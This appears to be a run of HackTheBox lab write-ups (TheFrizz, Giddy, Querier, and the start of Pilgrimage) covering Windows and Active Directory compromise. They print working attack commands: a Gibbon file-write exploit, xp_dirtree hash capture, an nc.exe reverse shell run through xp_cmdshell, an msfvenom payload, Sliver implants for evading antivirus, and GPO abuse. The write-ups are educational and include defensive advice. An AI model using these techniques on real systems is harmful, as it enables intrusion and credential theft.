TheFrizz ended up being one of the most realistic Active Directory boxes I have worked through so far. It felt like a layered environment where progress came from paying attention, understanding Kerberos behavior, hunting for credentials in the right places, and pivoting. What I liked most about it was that each stage naturally led into the next. The web server gave me the first foothold, that foothold exposed credentials, those credentials led to a real domain user, and from there the box shifted into a much more AD-focused exercise that finished with a very instructive GPO abuse attack.

Tools Used

• RustScan

• NetExec

• rpcclient

• ffuf

• curl

• Python HTTP server

• Netcat

• MySQL client

• Hashcat

• RustHound CE

• SSH

• SCP

• 7-Zip

• grep

• SharpGPOAbuse

2. Enumeration

Nmap Scan

rustscan -a 10.129.232.168 -b 7000

As always, I started with a port scan to get the attack surface. Right away, the results looked exactly like what I would expect from a domain-connected Windows target. I saw the usual Active Directory-related services such as Kerberos, LDAP, SMB, and DNS, which immediately told me I was dealing with a domain environment and not just a standalone Windows host. At the same time, there were two other services that stood out to me right away: a web server on port 80 and SSH.

The presence of SSH on a Windows target was interesting because that is not always exposed, and I made a mental note that it might become useful later if I got valid credentials.

The scan also leaked the FQDN information, frizzdc.frizz.htb, which is always key early on in an AD box because it helps ground the rest of the enumeration in the correct domain context. I added it to my hosts file before going on. On AD targets, it's critical to do this first because it avoids problems later when using Kerberos-dependent tooling.

echo "10.129.232.168 frizzdc.frizz.htb frizz.htb"| sudo tee -a /etc/hosts

SMB Enumeration

nxc smb 10.129.232.168 -u '' -p '' --shares
nxc smb 10.129.232.168 -u 'guest' -p '' --shares

My next move was to follow my normal AD checklist and begin with SMB. I wanted to know right away whether the box allowed any kind of anonymous or guest access because that can sometimes open the door to quick share enumeration or user discovery.

That did not happen here. Both null and guest-style authentication attempts failed. which shut down the anonymous SMB angle pretty quickly.

RPC Enumeration

rpcclient -U "" -N 10.129.232.168

After SMB, I tested RPC anonymously. Just like SMB, this failed as well. The target returned NT_STATUS_NOT_SUPPORTED, so anonymous RPC enumeration was off the table too.

LDAP Enumeration

Anonymous LDAP enumeration was also not allowed. That meant no anonymous SMB, no anonymous RPC, and no anonymous LDAP meant I was not going to build my initial foothold from a misconfigured AD service.

With that in mind I shifted my attention to the next attack surface: the website on port 80.

Web Enumeration

ffuf -u http://frizz.htb/FUZZ -w /usr/share/wordlists/dirb/common.txt

I kicked off a directory fuzz and also started manually browsing the site in my browser. The website appeared to belong to an elementary school. It had school-related content, general information, and multiple links. Most of those links went nowhere, but one of them led to Gibbon LMS.

Once I landed on the Gibbon page, I noticed the version number right away at the bottom: 25.0.00. Whenever I can identify a framework, CMS, or platform version during enumeration, I treat that as a major lead.

The Gibbon page also had a login portal, so I tried some default credentials just in case, but they were unsuccessful. The links on the page were not especially useful either. Still, the important part was already in front of me: I had a named platform and a visible version number.

Vulnerability Research

From there, I searched for vulnerabilities affecting Gibbon 25.0.00 and came across a very promising result: an unauthenticated file write vulnerability that could be turned into remote code execution.

The vulnerability was described as follows:

GibbonEdu Gibbon version 25.0.1 and before allows Arbitrary File Write because rubrics_visualise_saveAjax.php does not require authentication. The endpoint accepts the img, path, and gibbonPersonID parameters. The img parameter is expected to be a base64 encoded image. If the path parameter is set, the defined path is used as the destination folder, concatenated with the absolute path of the installation directory. The content of the img parameter is base64 decoded and written to the defined file path. This allows creation of PHP files that permit Remote Code Execution.

Once I found that, the first thing I needed to do was confirm whether the vulnerable endpoint actually existed on the target.

3. Exploitation

Confirming File Write

curl http://frizz.htb/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;...&path=neo.php&gibbonPersonID=0000000001'

After confirming the vulnerable endpoint existed, I first used it to write a harmless text file and then verified that I could retrieve it successfully from the server.

Once the text file test worked, I moved on to writing a PHP web shell. That worked too. At that point I had unauthenticated code execution through the web application.

Shell as w.webservice

python3 -m http.server 80
nc -nvlp 7777

After proving I could execute commands through the uploaded PHP file, I used that access to pull down a PowerShell reverse shell script from my Python web server and shortly after that I caught a shell on my Netcat listener.

The shell landed as:

frizz\w.webservice

whoami
net user

As soon as I had the shell, I started with the usual questions: who am I, what can I see, and what can I use from here?

Running whoami showed I was the w.webservice account. Then I used net user to list local or domain-visible accounts. The result gave me a strong set of usernames to work with, including accounts like:

• Administrator

• f.frizzle

• M.SchoolBus

• Guest

• krbtgt

• w.Webservice

That list turned out to be extremely useful later, because it gave me a ready-made set of candidates for username validation, AS-REP roasting attempts, and password spraying.

At this stage I also ran:

whoami /all

but there were no interesting privileges or groups attached to w.webservice.

Local Enumeration

I checked for the two Windows privilege escalation angles I usually look at early:

• cached Group Policy Preference passwords

• AutoLogon credentials

I checked for XML files under the Group Policy History path and also reviewed the Winlogon registry settings. Neither path gave me anything useful here. That ruled out two common quick wins.

I then tried moving into user directories to see whether there were any loose files, notes, scripts, or other artifacts left behind, but w.webservice was too restricted to browse the users directory. Since those routes were blocked, I shifted to one of the places I specifically like checking early on web targets: the web application directory itself.

Credential Hunting in the Web Root

The target was using XAMPP, so I started looking around there. I specifically wanted config files, .ini files, database references, or anything else that might contain credentials. Since I already knew MySQL was present on the box, seeing the mysql directory inside XAMPP reinforced that I was looking in the right place.

I moved into the website root under C:\xampp\htdocs, then into the Gibbon application directory, and there I found exactly the kind of file I was hoping for:

config.php

When I opened it, I immediately found database credentials:

$databaseServer = 'localhost';
$databaseUsername = 'MrGibbonsDB';
$databasePassword = 'MisterGibbs!Parrot!?1';
$databaseName = 'gibbon';

This was a great example of why I like checking application directories early. The initial shell did not have strong privileges, but web applications often keep secrets close by.

Testing the Database Credentials

The next question was whether the password I found was reused anywhere else. I sprayed it against my username list, but it did not work for domain logons.

If the password was not reused directly for user authentication, the next best use for it was exactly what it was intended for: database access.

I used the local MySQL binary on the host to connect with the credentials from config.php. That worked. My interaction was a little clunky because I was not sitting in a clean, fully interactive MySQL session, so I was effectively running one command per login attempt.

I first enumerated the databases and saw one meaningful non-default database: gibbon.

Then I listed the tables and noticed gibbonperson, which looked like the most likely place to find account-related information.

When I dumped the contents of gibbonperson, I found a user record for f.frizzle along with a password hash.

That was the next major pivot point.

Cracking the Hash and Pivoting to f.frizzle

I took the recovered hash offline and cracked it with Hashcat. Once I had the password, I tested it.

The first interesting wrinkle here was that it did not work the way I expected with NTLM-based authentication. Testing it with SMB in the usual way failed. But when I switched to Kerberos authentication, it worked.

That was one of the better lessons from the box. The credential was valid, but the authentication method mattered. If I had treated the initial NTLM failure as proof the credential was useless, I would have thrown away a working domain password.

With the valid credentials for f.frizzle, I requested a TGT, initialized it, and used SSH with Kerberos authentication to connect to the target:

export KRB5_CONFIG=krb5.conf
kinit f.frizzle
ssh f.frizzle@10.129.232.168 -k

That got me a PowerShell session on the target as frizz\f.frizzle.

BloodHound Collection

rusthound-ce -u f.frizzle -p 'Jenni_Luvs_Magic23' -d frizz.htb -c All -z

Now that I had valid domain credentials, I wanted to step back and look at the broader domain graph. I used RustHound CE to collect data for BloodHound and then reviewed it for privilege escalation paths.

f.frizzle did not appear to have an obvious outbound object control path or some immediate misconfiguration I could exploit.

Since BloodHound was not handing me the answer, I went back to local enumeration.

4. Privilege Escalation

Enumerating as f.frizzle

whoami /all
tree /f /a

Once I had f.frizzle, I repeated my basic checks. I ran whoami /all to look for useful privileges or interesting group memberships, but there was nothing useful. I enumerated the user’s home directory with tree, but there were no especially interesting files there. I also tried browsing other users’ directories, but I did not have the access needed to pull anything useful from them.

I checked ProgramData, both Program Files directories, and other standard places where useful artifacts sometimes show up. Everything looked normal. No obvious credentials, no standout config files, no quick escalation vector.

This was the point in the box where I started to feel a little stuck. I had gone from web compromise to a valid domain user, but the next step was not obvious.

That ended up being one of the best parts of the machine, because the path forward came from a technique I had not really thought about before.

Checking the Recycle Bin

While continuing local enumeration, I checked the recycle bin for user artifacts. That turned out to be the breakthrough.

In the recycle bin, I found files with the familiar Windows recycle naming pattern. There are generally two types of entries involved there:

• files beginning with $I, which contain metadata about the original file

• files beginning with $R, which are the actual deleted file contents

That was something I had not really leaned on before as a privilege escalation check, so this box was genuinely instructive in that regard.

Inside the recycle bin, I found a real file:

$RE2XMEG.7z

That looked immediately worth pulling.

Exfiltrating and Extracting the Archive

scp f.frizzle@frizz.htb:C:/Users/f.frizzle/Desktop/\$RE2XMEG.7z .
7z x \$RE2XMEG.7z

I copied the 7z archive back to my Kali box using scp and then extracted it locally.

Once extracted, the archive contained a large number of files, so I started doing what I usually do in that situation: searching for strings that looked like credentials, secrets, passwords, or config values.

I used grep and found a base64-looking value in one of the files:

IXN1QmNpZ0BNZWhtZWd1Q0hUgo=

Decoding the Secret and Spraying It

echo 'IXN1QmNpZ0BNZWhtZWd1Q0hUgo=' | base64 -d

Decoding the value gave me a plaintext secret:

!suBcig0MehTed!R

As soon as I had that, I tested it against my list of domain users.

My first round of spraying did not succeed over NTLM, but when I repeated the attempt using Kerberos, the credential turned out to be valid

for:

M.SchoolBus

That was another place where Kerberos awareness mattered. The password was good, but the authentication context made the difference between “this seems dead” and “this is the next pivot.”

Pivoting to M.SchoolBus

ssh M.SchoolBus@10.129.232.168 -k
whoami /all

I used the recovered credentials to SSH into the box as M.SchoolBus and immediately checked the user’s group memberships.

The account was a member of Group Policy Creator Owners.

That group membership was the path to full compromise.

What made this part especially valuable from a learning perspective was that it introduced me to a privilege escalation technique that feels very real in enterprise environments: GPO abuse. If a user has the ability to create and link Group Policy Objects in the right places, that can translate directly into code execution on high-value systems, including domain controllers.

Understanding the GPO Abuse Path

At a high level, the abuse path here was simple:

1. Create a new GPO

2. Link it where it will affect the Domain Controllers OU

3. Add a malicious scheduled task to that GPO

4. Force policy refresh

5. Wait for the domain controller to execute the task as SYSTEM

I was using legitimate AD administrative mechanisms in a malicious way because the compromised user had the rights to do so.

That makes this kind of attack especially dangerous in real environments. If a group like Group Policy Creator Owners is not tightly controlled, it can become a direct path to domain-wide impact.

Creating and Linking the Malicious GPO

New-GPO -name "neo"
New-GPLink -name "neo" -target "OU=DOMAIN CONTROLLERS,DC=FRIZZ,DC=HTB"

After understanding the path, I created a new GPO named neo and linked it to the Domain Controllers OU.

That alone did not trigger anything yet, but it prepared the environment for the next step: embedding a malicious action inside the policy.

Using SharpGPOAbuse to Execute Code

To weaponize the GPO, I downloaded the SharpGPOAbuse binary to the target using my Python web server. Then I used it to add a scheduled task to the GPO. The scheduled task was configured to execute a PowerShell command that would stage and run my reverse shell payload.

Conceptually, the attack worked like this:

• the GPO carried a scheduled task

• the scheduled task executed in the context of the affected machine

• because the GPO was linked to the Domain Controllers OU, the domain controller processed it

• the task executed as SYSTEM

That meant my original low-privileged foothold had now turned into code execution on the domain controller itself.

This was easily the most instructive part of the machine for me.

Forcing Policy Update and Catching SYSTEM

Once the GPO was in place, I set up my Netcat listener and then forced a Group Policy update so the malicious scheduled task would get applied.

After that, I caught the shell back as SYSTEM.

5. Lessons Learned

1. Version Disclosure Can Be the Difference Between Wandering and Winning

One of the earliest lessons reinforced here was that version disclosure matters. Seeing 25.0 at the bottom of the Gibbon page was not a trivial detail. It was the key that turned a generic web application into a known, vulnerable target.

2. Config Files Can be Goldmines for Credentials

The foothold as w.webservice did not give me much by itself, but the application files did. Finding the database credentials in config.php was one of the biggest pivots on the box.

3. Authentication Method Matters

This machine did a very good job of reminding me that a credential failing in one context does not automatically mean it is invalid. The f.frizzle and M.SchoolBus pivots worked when I approached them with Kerberos, even where NTLM-style testing was misleading. That is a lesson worth remembering on every AD target going forward.

4. Recycle Bin Enumeration Is a Real Privilege Escalation Check

Before this box, checking recycle bins was not something I thought about much as part of local enumeration. After this box, it absolutely is. Deleted files are still files, and if a user threw away something sensitive without securely removing it, that can become the next pivot.

5. Group Memberships Mean More Than They Sometimes Look Like

Seeing that M.SchoolBus was in Group Policy Creator Owners ended up being the entire win condition. This machine was a great reminder that privilege escalation in AD is often about understanding what a permission actually allows you to do operationally. A group name might not scream “domain compromise” at first glance, but if you know the abuse path, it absolutely can be.

6. Defensive Insight

1. Public Version Disclosure Increases Risk

Exposing the exact version of an internet-facing application makes vulnerability research much easier for an attacker. Even when that seems harmless from an administrative perspective, it narrows the attacker’s search space significantly and can speed up exploitation.

2. Dangerous Functionality Should Never Be Exposed Without Strong Access Control

The vulnerable Gibbon endpoint allowed unauthenticated file write, which is an extremely dangerous primitive. Any endpoint capable of writing content to disk should be tightly controlled, validated, and monitored. Leaving that kind of functionality exposed to unauthenticated users is a direct path to compromise.

3. Application Secrets Should Not Be Stored So Readily

The database credentials inside config.php gave me the next major pivot after initial access. That kind of secret storage is still very common in real-world applications, which is exactly why it remains such an effective target for attackers. Secrets should be tightly controlled, rotated, and segregated wherever possible.

4. Credential Reuse and Recoverable Secrets Continue to Be a Major Problem

The archive recovered from the recycle bin contained a secret that led directly to another user account. Even though the file had been deleted, it still represented live credential exposure. Sensitive archives, config dumps, and internal project files should be treated as high-risk artifacts throughout their lifecycle, including after deletion.

5. Group Policy Permissions Must Be Closely Controlled

The most severe issue on the box was not the web exploit alone. It was the fact that a compromised user in Group Policy Creator Owners could create and link a malicious GPO against the Domain Controllers OU. Permissions around GPO creation, linking, and modification should be tightly audited and restricted to only the smallest necessary set of administrators.

6. GPO Activity Should Be Monitored Aggressively

The creation of a new GPO, linking it to domain controllers, and adding a scheduled task are all events defenders should care deeply about. Those actions are powerful administrative operations, and unusual activity around them should generate immediate attention in a mature environment.

Useful Commands

Initial Scan

rustscan -a 10.129.232.168 -b 7000

SMB Enumeration

nxc smb 10.129.232.168 -u '' -p '' --shares
nxc smb 10.129.232.168 -u 'guest' -p '' --shares

RPC Enumeration

rpcclient -U "" -N 10.129.232.168

Exploiting Gibbon

curl http://frizz.htb/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;...&path=neo.php&gibbonPersonID=0000000001'

Local Database Access

C:\xampp\mysql\bin\mysql.exe -uMrGibbonsDB -pMisterGibbs!Parrot!?1 -e "SHOW DATABASES;"
C:\xampp\mysql\bin\mysql.exe -uMrGibbonsDB -pMisterGibbs!Parrot!?1 gibbon -e "SHOW TABLES;"
C:\xampp\mysql\bin\mysql.exe -uMrGibbonsDB -pMisterGibbs!Parrot!?1 gibbon -e "SELECT * FROM gibbonperson;"

BloodHound Collection

rusthound-ce -u f.frizzle -p 'Jenni_Luvs_Magic23' -d frizz.htb -c All -z

Kerberos Pivot

export KRB5_CONFIG=krb5.conf
kinit f.frizzle
ssh f.frizzle@10.129.232.168 -k

Recycle Bin Artifact Exfiltration

scp f.frizzle@frizz.htb:C:/Users/f.frizzle/Desktop/\$RE2XMEG.7z .
7z x \$RE2XMEG.7z
grep -r password .
echo 'IXN1QmNpZ0BNZWhtZWd1Q0hUgo=' | base64 -d

Kerberos Password Spray

nxc smb frizzdc.frizz.htb -u user.txt -p '!suBcig0MehTed!R' -k

GPO Abuse Setup

New-GPO -name "neo"
New-GPLink -name "neo" -target "OU=DOMAIN CONTROLLERS,DC=FRIZZ,DC=HTB"
.\sharp.exe --addcomputertask --GPOName "neo" --author "neo" --taskname "wtshelly" --Command "powershell.exe" --arguments "powershell -e JABjAGwAaQBlAG4AdAA9ACIA...<base64 omitted for brevity>..."
gpupdate /force

• Machine Name: Giddy

• Platform: HackTheBox

• Operating System: Windows

• Target IP: 10.129.96.140

• Objective: Gain initial access to the target system and escalate privileges to full administrative control.

This box stood out to me because it reinforced core fundamentals while also introducing new tools and techniques that I know will be useful moving forward. One of the biggest takeaways for me was that this was the first machine where I had to seriously deal with antivirus evasion, which is something you can’t ignore in real-world environments. Up to this point, payloads had just worked, but this box forced me to understand why they fail and how to adapt. Overall, it was a well-rounded and very instructional machine that strengthened my foundation while introducing practical, real-world considerations like AV evasion and modern payload generation.

Tools Used

• Nmap

• ffuf

• sqlmap

• Responder

• John the Ripper

• Evil-WinRM

• msfvenom

• Sliver

2. Enumeration

I began the engagement with an Nmap scan to understand the attack surface of the target.

nmap -sC -sV -T4 10.129.96.140

From the scan results, I observed several key services:

• 80/tcp (HTTP) → Microsoft IIS 10.0

• 443/tcp (HTTPS) → Microsoft IIS 10.0

• 3389/tcp (RDP) → Microsoft Terminal Services

• 5985/tcp (WinRM/HTTPAPI)

While RDP and WinRM were exposed, the most promising attack surface was clearly the web services running on ports 80 and 443.

I started with directory fuzzing against both HTTP and HTTPS using ffuf while manually inspecting the web applications in my browser.

ffuf -u https://10.129.96.140/FUZZ -w /usr/share/wordlists/elite.txt

When visiting the root page on both ports, I was met with nothing more than a static image of a dog.

There was no functionality, no input fields, and no obvious attack vectors. Even inspecting the page source revealed nothing useful.

At this point, I shifted focus to my ffuf results, which revealed two interesting endpoints:

• /remote

• /mvc

The /remote endpoint presented a Windows PowerShell Web Access login portal, which immediately stood out as a high-value target. However, without credentials, I could not proceed further at that stage.

I then moved to the /mvc endpoint, which appeared to be a basic marketplace-style web application skeleton of a site in development.

While browsing through it, I noticed that product links exposed a query string parameter:

Product.aspx?ProductSubCategoryId=11

Anytime I see a query parameter like this, it immediately becomes a priority target for testing injection vulnerabilities.

I first tested for file inclusion by attempting to load a local file such as /windows/win.ini, but this did not yield any results.

Next, I tested for SQL injection by inserting a single quote (') into the parameter. This triggered a 500 internal server error, leaking backend SQL information.

That right there is a classic sign of SQL injection. The application was not properly sanitizing input, and the backend database was exposing error messages. At that point, I knew this was a potential path forward towards compromise.

3. Exploitation

With a confirmed SQL injection point, I moved to automate exploitation using sqlmap.

sqlmap -u "http://10.129.96.140/mvc/Product.aspx?ProductSubCategoryId=11" --level 4 --risk 3 --batch

Sqlmap successfully identified a Microsoft SQL Server backend and allowed me to enumerate databases and dump tables. However, there were no useful credentials or sensitive data exposed.

At this point, I pivoted to a more traditional but extremely effective technique: capturing NTLM authentication via SQL Server.

I set up an SMB listener using Responder and leveraged the xp_dirtree function through sqlmap to force the server to authenticate to my machine:

sqlmap -u "http://10.129.96.140/mvc/Product.aspx?ProductSubCategoryId=11" \
--level 4 --risk 3 \
--sql-query="EXEC master..xp_dirtree '\\\\10.10.15.205\\share'" \
--batch

This worked perfectly. The server attempted authentication, and I captured an NTLMv2 hash for the user Stacy.

I then cracked the hash offline using John the Ripper:

john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

With valid credentials in hand, I returned to the /remote PowerShell Web Access portal and successfully authenticated, gaining a PowerShell session on the target as Stacy.

4. Privilege Escalation

Now operating as a low-privileged user, I began my standard Windows privilege escalation process.

• Enumerated users:

net user

• Checked privileges:

whoami /all

No useful privileges were identified.

I then checked for:

• AutoLogon credentials → none

• GPP cpasswords → none

At that point, I pivoted to the user’s home directory and discovered an interesting file:

unifivideo

After transferring it to my machine and inspecting it, I found it contained only:

stop

This pointed me toward UniFi Video, a service likely installed on the system.

Research revealed a known privilege escalation vulnerability:

• The UniFi Video service runs as SYSTEM

• It attempts to execute taskkill.exe from its installation directory

• The directory is writable by low-privileged users

• The binary does not exist by default

That combination allows arbitrary code execution as SYSTEM.

I confirmed the directory existed and was writable, then generated a reverse shell payload using msfvenom:

msfvenom -p windows/shell/reverse_tcp LHOST=10.10.15.205 LPORT=7777 -f exe -o taskkill.exe

I transferred the payload to the target and identified the service name by enumerating the registry:

dir HKLM:\SYSTEM\CurrentControlSet\Services | findstr /i unifi

After identifying the service, I stopped and restarted it to trigger execution.

However, no shell was received.

This was a key turning point. The payload failed because Windows Defender detected and blocked the msfvenom binary.

Instead of forcing the same approach, I adapted and switched tools.

This is where I was introduced to Sliver, and more importantly, the concept of implants.

An implant is not just a basic payload—it is a more advanced, often obfuscated executable designed to behave like a legitimate program while maintaining a connection back to the attacker. These are far more effective in environments with antivirus protections because they avoid the well-known signatures that tools like msfvenom produce.

I generated a new implant using Sliver:

sliver > mtls
sliver > generate --mtls 10.10.15.205 --os windows --arch amd64

I renamed the generated binary to taskkill.exe and transferred it to the target.

After restarting the UniFi service again, the implant executed successfully and bypassed Defender.

I received a callback and confirmed my privileges:

whoami

NT AUTHORITY\SYSTEM

Full control of the machine.

5. Lessons Learned

1. Web Enumeration Is Everything
Identifying /mvc and recognizing the importance of query parameters was the key that unlocked the entire attack chain.

2. SQL Injection Can Be Leveraged Indirectly
Even without credentials in the database, SQL injection still provided a path to capture NTLM hashes.

3. NTLM Capture Remains Extremely Effective
Forcing authentication through SQL Server functions is a reliable method when direct data extraction fails.

4. Antivirus Changes the Game Completely
This was my first real exposure to payloads failing due to Defender. It forced me to stop relying on “default” tools and start thinking about detection and evasion.

5. Understanding Implants vs Traditional Payloads- How to Use Sliver
This box taught me that msfvenom payloads are often noisy and easily detected. In contrast, tools like Sliver generate implants that:

• Use modern communication methods (like mTLS)

• Are obfuscated and less signature-based

• Behave more like real applications

This is a major shift in mindset from “just get a shell” to “get a shell that survives defenses.”

6. Tool Adaptation Is Critical
When msfvenom failed, switching to Sliver wasn’t optional—it was necessary. This reinforced the idea that no single tool is enough.

6. Defensive Insight

1. Proper Input Validation Prevents SQL Injection
Parameterized queries would have completely eliminated the initial attack vector.

2. Restrict Dangerous SQL Functions
Functions like xp_dirtree should not be accessible, as they enable forced authentication attacks.

3. Block Outbound SMB Traffic
Preventing outbound authentication would stop NTLM hash capture attacks entirely.

4. Secure Service Execution Paths
Services running as SYSTEM must not rely on executables in writable directories.

5. Improve Behavioral Detection
Signature-based detection caught msfvenom, but stronger behavioral detection is needed to catch more advanced implants like those generated by Sliver.

Useful Commands

Nmap Scan

nmap -sC -sV -T4 10.129.96.140

Directory Fuzzing

ffuf -u https://10.129.96.140/FUZZ -w /usr/share/wordlists/elite.txt

SQL Injection with sqlmap

sqlmap -u "http://10.129.96.140/mvc/Product.aspx?ProductSubCategoryId=11" --level 4 --risk 3 --batch

NTLM Capture via SQL Server

--sql-query="EXEC master..xp_dirtree '\\\\10.10.15.205\\share'"

Crack NTLM Hash

john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

Generate msfvenom Payload

msfvenom -p windows/shell/reverse_tcp LHOST=10.10.15.205 LPORT=7777 -f exe -o taskkill.exe

Enumerate Services via Registry

dir HKLM:\SYSTEM\CurrentControlSet\Services | findstr /i unifi

Generate Sliver Implant

sliver > mtls
sliver > generate --mtls 10.10.15.205 --os windows --arch amd64

Machine Name: Querier
Platform: HackTheBox
Operating System: Windows
Target IP: 10.129.9.231

Objective:
Gain initial access to the target system and escalate privileges to obtain administrative-level access.

This machine stood out to me because there was no Active Directory domain to lean on and no web application to exploit. Everything revolved around SMB and MSSQL,

Tools Used

• RustScan

• SMBClient

• NetExec (nxc)

• Olevba

• Impacket (mssqlclient)

• Responder

• John the Ripper

• Netcat

• Evil-WinRM

• gpp-decrypt

2. Enumeration

I kicked things off with a port scan to map out the attack surface:

rustscan -a 10.129.9.231 -b 7000

The results painted a clear picture:

• SMB (139, 445)

• RPC (135 + high ports)

• WinRM (5985)

• MSSQL (1433)

That combination immediately suggested a Windows host with remote management exposed and a database service.

Another useful detail surfaced during enumeration—the FQDN:

querier.htb.local

I added it to my hosts file right away:

echo "10.129.9.231 querier.htb.local" | sudo tee -a /etc/hosts

SMB Enumeration

With SMB open, it made sense to start there. It’s fast to check and has a habit of exposing things it shouldn’t—whether that’s files, usernames, or outright credentials.

My first pass used NetExec:

nxc smb 10.129.9.231 -u '' -p '' --shares

The output suggested that anonymous authentication wasn’t allowed. That could have been the end of the road for SMB, but I’ve seen enough inconsistencies across tools to know better than to trust a single result.

To verify, I switched to smbclient:

smbclient -N -L //10.129.9.231

This time, I got a valid share listing.

That difference is exactly why it’s worth cross-checking tools—same idea, different implementation, completely different outcome.

Among the shares, one stood out:

Reports

I connected to it:

smbclient -N //10.129.9.231/Reports

A quick directory listing showed:

Currency Volume Report.xlsm

A single file, I downloaded it for a closer look.

File Analysis

Macro-enabled Office files are always worth digging into. They’re often used to automate tasks internally, which means they sometimes carry hardcoded credentials or logic that wasn’t meant to be exposed.

After pulling the file locally, I ran:

olevba Currency\ Volume\ Report.xlsm

The macro content revealed exactly that—embedded credentials:

User: reporting
Password: PcwTWrHwrwyjc$c6

At this point, the direction was clear. Those credentials had to belong somewhere, and given the services available, MSSQL was the most likely candidate.

3. Exploitation

With a valid username and password in hand, the next step was to test them against exposed services. MSSQL stood out immediately, especially since service accounts are often tied directly to database access.

impacket-mssqlclient reporting:PcwTWrHwrwyjc$c6@10.129.9.231 -windows-auth

The connection succeeded, giving me a foothold inside the database.

Initial SQL Enumeration

The first priority was to understand the level of access I had:

SELECT * FROM fn_my_permissions(NULL, 'SERVER');

The result showed that reporting was a low-privileged user. No direct path to execution there.

Next, I checked what databases were available:

SELECT name FROM master.sys.databases;

One entry stood out:

volume

Switching to it:

use volume;

Unfortunately, it was empty. No useful tables, no sensitive data, nothing to extract.

At that point, it was clear that progress wouldn’t come from data mining. The focus had to shift toward abusing MSSQL itself.

Hash Capture via xp_dirtree

MSSQL includes several stored procedures that interact with the filesystem, and some of them can be repurposed in interesting ways. One of those is xp_dirtree.

Instead of pointing it at a local directory, I directed it toward a share I controlled:

xp_dirtree \\10.10.15.205\neo

That forced the server to attempt an SMB connection back to me.

Behind the scenes, the MSSQL service tried to authenticate to my machine using its own service account. With Responder running, I captured the resulting NTLMv2 hash:

mssql-svc::QUERIER:...

Cracking the Hash

Once captured, the hash was saved and cracked:

john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

The result:

mssql-svc : corporate568

This was the real pivot point. Service accounts tend to have broader permissions, and this one was no exception.

4. Privilege Escalation

MSSQL Privilege Abuse → RCE

I reconnected using the new credentials:

impacket-mssqlclient mssql-svc:corporate568@10.129.9.231 -windows-auth

Checking permissions again:

SELECT * FROM fn_my_permissions(NULL, 'SERVER');

This time, the output told a very different story:

• CONTROL SERVER

• IMPERSONATE

Those privileges effectively grant full control over the MSSQL instance. At that point, the goal shifts from access to execution.

Enabling xp_cmdshell

With sufficient privileges, I enabled xp_cmdshell:

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

This is where MSSQL stops being just a database and starts acting as a bridge into the operating system.

Reverse Shell

To turn command execution into a usable foothold, I hosted a Netcat binary over SMB and executed it remotely:

xp_cmdshell \\10.10.15.205\zion\nc.exe -e powershell.exe 10.10.15.205 9001

On my end:

nc -lvnp 9001

The connection came through as:

querier\mssql-svc

Now I had a shell on the box.

Local Enumeration

With system access established, I moved into local enumeration.

Checking privileges:

whoami /all

Nothing useful.

Looking at users:

• mssql-svc

• Administrator

That ruled out lateral movement and pointed toward local privilege escalation.

Autologon credentials were next on the list, but nothing turned up. At that stage, I started checking common misconfigurations that tend to get overlooked.

GPP Password Discovery

One of the more reliable places to look in environments like this is cached Group Policy Preferences.

I navigated to:

C:\ProgramData\Microsoft\Group Policy\History\

Then searched for XML files:

dir "C:\ProgramData\Microsoft\Group Policy\History\" -Recurse -Include *.xml

This led me to:

Groups.xml

Inside was a cpassword value—exactly what I was hoping to find.

Decrypting cpassword

I pulled the value and decrypted it:

gpp-decrypt <cpassword>

Which returned:

Administrator : MyUnclesAreMarioAndLuigi!!1!

That was the final piece.

Final Access

evil-winrm -i 10.129.9.231 -u Administrator

whoami
querier\administrator

5. Lessons Learned

1. Enumeration Needs Verification, Not Assumptions
A single tool suggested SMB was locked down. A second tool proved otherwise. That difference led directly to initial access.

2. SMB Still Delivers Value in Subtle Ways
Even limited access can expose files that shift the entire attack path.

3. MSSQL Is a Full Attack Surface
Treating it as just a database would have stalled progress. Understanding its interaction with the system made the difference.

4. xp_dirtree Is a Reliable Pivot Technique
It turns database access into credential harvesting with very little effort.

5. Privilege Context Defines Capability
The jump from low-priv user to CONTROL SERVER is what unlocked RCE.

6. GPP Credentials Are Still an Easy Win
They remain one of the most consistent privilege escalation vectors on Windows systems.

7. Small Details Compound Into Full Compromise
No single step here was overly complex, but each one built cleanly into the next.

6. Defensive Insight

1. SMB Access Should Be Consistently Enforced
Inconsistent handling of anonymous access can expose sensitive resources.

2. Credentials Should Never Be Embedded in Files
Storing passwords in macros creates immediate exposure if the file is accessible.

3. MSSQL Features Like xp_cmdshell Should Be Restricted
These capabilities should not be available without strict controls.

4. Outbound Authentication Should Be Monitored
Unexpected SMB connections to external hosts are a strong indicator of abuse.

5. GPP Password Storage Should Be Eliminated
cpassword is reversible and should not exist in any modern environment.

6. Service Accounts Should Follow Least Privilege
Granting CONTROL SERVER unnecessarily creates a direct path to compromise.

7. Useful Commands

Scanning

rustscan -a 10.129.9.231 -b 7000

SMB Enumeration

smbclient -N -L //10.129.9.231
smbclient -N //10.129.9.231/Reports

File Analysis

olevba Currency\ Volume\ Report.xlsm

MSSQL Access

impacket-mssqlclient reporting:PcwTWrHwrwyjc$c6@10.129.9.231 -windows-auth
impacket-mssqlclient mssql-svc:corporate568@10.129.9.231 -windows-auth

SQL Enumeration

SELECT * FROM fn_my_permissions(NULL, 'SERVER');
SELECT name FROM master.sys.databases;

Hash Capture

xp_dirtree \\10.10.15.205\neo

Cracking

john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

Reverse Shell

xp_cmdshell \\10.10.15.205\zion\nc.exe -e powershell.exe 10.10.15.205 9001

GPP Decryption

gpp-decrypt <cpassword>

Final Access

evil-winrm -i 10.129.9.231 -u Administrator

• Machine Name: Pilgrimage

• Platform: Hack The Box

• Operating System: Linux

• Target IP: 10.129.9.115

• Objective: Gain initial access to the target system and escalate privileges to obtain full system compromise.

Pilgrimage was one of the more instructive machines I’ve worked through so far. It combined a clean initial foothold with a privilege escalation path that really forced me to understand what the system was doing behind the scenes.

Tools Used

• Nmap

• RustScan

• ffuf

• git-dumper

• pngcrush

• sqlite3

• searchsploit

• binwalk

• netcat

2. Enumeration

Initial Reconnaissance

As always, I started with a port scan using RustScan to quickly identify open ports and pass them into Nmap for deeper analysis.

rustscan -a 10.129.9.115 -b 7000 -- -sC -sV -T4

The results showed a very narrow attack surface:

